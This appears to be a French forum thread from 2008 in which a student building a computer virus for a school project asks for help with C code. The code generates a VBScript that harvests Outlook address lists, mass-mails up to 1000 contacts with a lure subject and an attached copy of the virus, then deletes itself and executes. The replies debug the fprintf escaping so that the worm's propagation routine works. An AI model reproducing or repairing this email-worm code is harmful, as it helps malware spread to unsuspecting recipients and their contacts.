TPE 2007-2008 aide svp

Résolu
hazkaal Messages postés 67 Date d'inscription dimanche 4 février 2007 Statut Membre Dernière intervention 4 novembre 2008 - 5 févr. 2008 à 11:31
victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 - 6 févr. 2008 à 18:14
Bonjour,


Je suis en année de premiere scientifique (option SI) et l'heure du passage devant un jury pour le TPE approche.


J'ai choisit, comme thème les virus informatiques et j'ai dut en créer un. Malheureusement, il y a un problème dans le code. Ce virus a été programmé en C (avec Dev Cpp) et est inspiré du virus Xanax de Gygabite. En fait, ce code en C créé un fichier VBS (visual basic) pour l'infection mail et écrit dedans avec lma fonctionfprintf. La compilation du programme se passe normalement mais quand je test ce programme sur mon pc, celui ci plante : en effet, quand je met le code vbs en commentaires le pc n'en tient pas compte et le virus fonctionne normalement (sans infection mail) mais quand je met la fonctionfprintfaccessible à la compilation ça ne fonctionne pas...

Voici un extrait de mon programme avec le code VBS (avec lesfpintf) :

vfile = fopen("c:\\TPEvirus0708.vbs","wt");   if(vfile)
   {
    VirMsgBox("code en version VBS"); /* n'y passe pas ??? */
     fprintf(vfile,"On Error Resume Next\n");
     fprintf(vfile,"Dim TPEvirus0708, Mail, Counter, A, B, C, D, E, F\n");
     fprintf(vfile,"Set TPEvirus0708 = CreateObject(%coutlook.application%c)\n", 34, 34);
     fprintf(vfile,"Set Mail = TPEvirus0708.GetNameSpace(%cMAPI%c)\n", 34, 34);
     fprintf(vfile,"For A = 1 To Mail.AddressLists.Count\n");
     fprintf(vfile,"FOR B = Mail.AdressLists(A)\n");
     fprintf(vfile,"Counter = 1\n");
     fprintf(vfile,"Set C = TPEvirus0708.CreateItem(0)\n");
     fprintf(vfile,"For D = 1 To B.AdressEntries.Count\n");
     fprintf(vfile,"E = B.AdressEntries(Counter)\n");
     fprintf(vfile,"C.Recipients.Add E\n");
     fprintf(vfile,"Counter = Counter + 1\n");
     fprintf(vfile,"If Counter > 1000 Then Exit For\n");
     fprintf(vfile,"Next\n");
     fprintf(vfile,"C.Subject = %cNeed For Speed for YOUR Computer? Try This!%c\n", 34, 34);
     fprintf(vfile,"C.Body = %cTEXTE MESSAGE", 34);
     fprintf(vfile,"TEXTE MESSAGE");
     fprintf(vfile,"TEXTE MESSAGE%c", 34);
     fprintf(vfile,"C.Attachments.Add %c%s%csystem%c%s%c\n, 34, Buffer, 92 ,92, CopyName, 34");
     fprintf(vfile,"C.DeleteAfterSubmit = True\n");
     fprintf(vfile,"C.Send\n");
     fprintf(vfile,"E = %c%c\n", 34, 34);
     fprintf(vfile,"Next\n");
     fprintf(vfile,"Set F = CreateObject(%cScripting.FileSystemObject%c", 34, 34);
     fprintf(vfile,"F.DeleteFile Wscript.ScriptFullName\n");
     fclose(vfile);
    }
    VirMsgBox("005:execution du code VBS");
    ShellExecute(NULL, "open", "TPEvirus0708.vbs", NULL, NULL, SW_SHOWNORMAL);

Je met des MessageBox pour qu'à l'installation du virus, des explications s'affichent (j'ai créé une fonction VirMsgBox pour cela).

On en vient donc à la question :
 fprintfqui ne ferait pas planter le programme

Merci de votre <gras>Aide
!!! 
Cordialement !
--HAZKAAL--

19 réponses

victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 7
5 févr. 2008 à 12:46
Bonjour,

Personnellement j'utilise les flux C++.
Et je me suis créé une librairie de gestion des fichiers qui utilise les API (mais ça je la garde).

Regarde ma source : http://www.cppfrance.com/codes/ENVOI-RECEPTION-FICHIERS-CLIENT-SERVEUR-DEV-CPLUSPLUS_41921.aspx
Il y a le client qui lit et le serveur qui écrit un fichier en C++.

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
3
victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 7
5 févr. 2008 à 12:48
Bonjour,

Au fait bonne chance pour ton TPE.
Moi je suis en Terminale et je fais PPE, là c'est un truc chaud.
Commande du bras schrader à distance via un réseau informatique.
Il y a une ordinateur système relié à la carte électronique que je fais actuellement, cette carte est relié aux distributeurs. L'ordinateur système est relié à un réseau informatique.
Il y a un logiciel serveur (sur l'ordi système) et un logiciel client (pupitre virtuel).

Bon allez j'ai du boulot !

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
3
cs_juju12 Messages postés 966 Date d'inscription samedi 3 avril 2004 Statut Membre Dernière intervention 4 mars 2010 4
5 févr. 2008 à 13:55
Où le programme plante-t-il? A l'écriture dans le fichier, ou à l'exécution?
3
hazkaal Messages postés 67 Date d'inscription dimanche 4 février 2007 Statut Membre Dernière intervention 4 novembre 2008
5 févr. 2008 à 17:41
Salut,


Merci pour les réponses et pour l'encouragement c'est gentil 
En fait mon programme est en C et ça m'embeterait de devoir tout refaire en C++...
mon programme marche à la compilation... C'est à l'execution qu'il plante... ...
heeeeelp please

Cordialement
Merci beacoup pour le soutient   

--HAZKAAL--
3

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
cs_jfrancois Messages postés 482 Date d'inscription vendredi 26 août 2005 Statut Membre Dernière intervention 5 décembre 2009 2
5 févr. 2008 à 18:17
Bonjour,

1) Le guillemet dans une chaîne se code avec " ! c'est plus simple que ces %c et 34
fprintf(vfile,"C.Body = %cxxx%c", 34,34);
devient
fprintf(vfile,"C.Body = "xxx"");

2) Open "c:\TPEvirus0708.vbs" et ShellExecute sans le "c:" ! Trouve-t-il le fichier créé ?

Jean-François
3
victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 7
5 févr. 2008 à 18:42
Bonjour,

Pour passer en C++ il n'y a rien à changer à part l'extension du fichier .cpp au lieu de .c !
C'est magique sous Dev-C++. Si tu l'as mis dans un projet tu vas dans Option du projet > Fichiers > main.cpp et tu couche "Compiler en tant que C++" > OK et c'est fait.

Sinon tu débugge avec F8 et au moment ou ton prog plante tu regarde Dev-C++ tu mets un code en bleu : c'est où ça plante.

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
3
hazkaal Messages postés 67 Date d'inscription dimanche 4 février 2007 Statut Membre Dernière intervention 4 novembre 2008
5 févr. 2008 à 18:43
Bonjour,

Je vais essayer en créant un fichier VBS vide... peut être qu'il le remplira si je fais ainsi...  Je ne connais pas tres bien le VBS, y a t'il besoin d'un compilateur ???
Je vais aussi essayer en enlevant les %c et les 34...
Je vous tient au courant de mon avancée

Merci beaucoup pour l'aide que vous m'apportez
Cordialement.
--HAZKAAL--
3
victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 7
5 févr. 2008 à 20:09
Bonjour,

C'est avec plaisir que je réponds à tes questions. Je te souhaite bonne chance pour ton TPE (Travaux Personnels Encadrés) et pour tes PPE (Projet Pluritechnique Encadré) si tu continue la SI (Sciences de l'Ingénieur).

En tout cas si tu veux j'ai trouvé un site qui m'a l'air pas mal pour apprendre le VBS : http://www.bellamyjc.org/fr/vbscript.html

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
3
acx01b Messages postés 280 Date d'inscription dimanche 7 septembre 2003 Statut Membre Dernière intervention 8 juillet 2014 6
6 févr. 2008 à 11:49
salut essaye deja
FILE *f = fopen("C:\\a.txt","w");
fprintf(f,"test\n");
fclose(f);

chez moi ça marche...

sinon ton erreur doit peut-être venir de VirMsgBox
3
hazkaal Messages postés 67 Date d'inscription dimanche 4 février 2007 Statut Membre Dernière intervention 4 novembre 2008
6 févr. 2008 à 16:32
Bonjour,
Désolé, il y a eu un probleme au postage...
Merci acx01b, ta techinque fonctionne :)
Mais j'ai néemmoins un probleme : à quoi servent les ",34" et ",92" dans mon code ??? Car je croix que c'est ça qu'il le fait planter :s ...

Merci de votre aide qui m'est très précieuse !!!
A bientôt
The HazKaaL
3
hazkaal Messages postés 67 Date d'inscription dimanche 4 février 2007 Statut Membre Dernière intervention 4 novembre 2008
6 févr. 2008 à 16:44
Ca y est !!!
J'ai trouvé la ligne qui fait planter, ce ne sont pas les "34" et"92" qui font planter !!!

La voici :
fprintf(fol,"C.Attachments.Add "%s"system"%s"\n", 34, Buffer, 92 ,92, CopyName, 34);
En particulier :
"%s"system"%s"\n

Mais je ne voix pas ce que cela peut être...
Les %n ??? Les " ???
3
cs_jfrancois Messages postés 482 Date d'inscription vendredi 26 août 2005 Statut Membre Dernière intervention 5 décembre 2009 2
6 févr. 2008 à 16:59
fprintf("...%c...",34) : le %c est remplacé par le caractère de code ASCII 34 qui est le guillement.
fprintf("..."...") : fait la même chose directement dans la chaîne.
92 code ASCII du backslash ("") --> fprintf("...%c...",92) fprintf("...\\...")

Jean-François
3
victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 7
6 févr. 2008 à 17:02
Bonjour,

fprintf(fol,"C.Attachments.Add "%s"system"%s"\n", 34, Buffer, 92 ,92, CopyName, 34);

Il y a 2 '%' dans ta chaine donc 2 paramètres sont à ajouter après la chaine donc dans ton cas il y en a 4 en trop il me semble.
Ensuite %s signifie si je ne me trompe une chaine de caractère or 34 n'est pas une chaine de caractère dont plantage.
Pour un entier je crois que c'est %d .

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
3
hazkaal Messages postés 67 Date d'inscription dimanche 4 février 2007 Statut Membre Dernière intervention 4 novembre 2008
6 févr. 2008 à 17:17
Bonjour !

Merci J. François pour ta participation :-)
Victor, que dois je faire alors pour que " %s " system " %s"\ fonctionne correctement ???


Merciiiiiiiiiiiiiiiiiiiiiiii
3
hazkaal Messages postés 67 Date d'inscription dimanche 4 février 2007 Statut Membre Dernière intervention 4 novembre 2008
6 févr. 2008 à 15:55
Error convertoring HTML to XHTML: System.Exception: Unexpected EOF parsing start tag 'a'
at FreeTextBoxControls.Support.Sgml.Entity.Error(String msg, String arg)
at FreeTextBoxControls.Support.Sgml.SgmlReader.ParseStartTag(Char ch)
at FreeTextBoxControls.Support.Sgml.SgmlReader.ParseTag(Char ch)
at FreeTextBoxControls.Support.Sgml.SgmlReader.Read()
at System.Xml.XmlWriter.WriteNode(XmlReader reader, Boolean defattr)
at FreeTextBoxControls.Support.Formatter.HtmlToXhtml(String input)
0
cs_jfrancois Messages postés 482 Date d'inscription vendredi 26 août 2005 Statut Membre Dernière intervention 5 décembre 2009 2
6 févr. 2008 à 17:33
Dans une chaîne de caractères le backslash (\) introduit un caractère spécial qui ne peut pas être placé directement, comme les guillemets qui servent déjà à délimiter la chaîne ! on appelle cela une séquence escape.

Séquence escape     Représente
\a                           Beep système
\b                           Backspace
\f                           Saut de page
\n                           Saut de ligne
\r                           Retour chariot
\t                           Tabulation horizontale
\v                           Tabulation verticale
\'                           '
"                           "
\\                           \
\?                           ?
\0                           Introduit un nombre en octal, ex \0101 = décimal 65 = lettre A
\x                           Introduit un nombre en hexadécimal, ex: \x41 = décimal 65 = lettre A

Le \ devant tout autre caractère non prévu donnera le caractère lui-même : \k --> k

Jean-François
0
cs_jfrancois Messages postés 482 Date d'inscription vendredi 26 août 2005 Statut Membre Dernière intervention 5 décembre 2009 2
6 févr. 2008 à 17:51
fprintf(vfile,"C.Attachments.Add %c%s%csystem%c%s%c\n,34,Buffer,92,92,CopyName,34");



peut s'écrire :

fprintf(vfile,"C.Attachments.Add "%s\system\%s"\n, Buffer,CopyName");

ce qui est incorrect : les backslaches ne sont pas suivis du caractère qu'ils introduisent. Je pense qu'ici il faut les doubler puisqu'ils codent le \ dans un chemin d'accès a priori ! et le " final du format est mal placé.

fprintf(vfile,"C.Attachments.Add "%s\\system\\%s"\n",Buffer,CopyName);

Jean-François
0
victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 7
6 févr. 2008 à 18:06
Bonjour,

Dis moi à quoi ça correspond avec tes mots et avec un p'tit exemple et je pourrais te corriger ta fonction.

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
0
victorcoasne Messages postés 1101 Date d'inscription jeudi 24 avril 2003 Statut Membre Dernière intervention 23 juillet 2023 7
6 févr. 2008 à 18:14
Bonjour,

Si tu veux écrire :
    C.Attachments.Add "C:\Windows\system\un fichier.txt"
Où :
    C:\Windows
Est stocké dans :
    variable1
Et Où :
    un fichier.txt
Est stocké dans :
    variable2
Tu met :
    fprintf(fol,"C.Attachments.Add "%s\\system\\%s"", variable1, variable2);

Et si tu veux aller à la ligne après le " tu rajoute \n
Attention variable1 et variable2 sont deux variables en C++ de type char* (chaine de caractères)

Merci et bonne prog,
@++

Le créateur du site http://victorlogiciels.com
0
Rejoignez-nous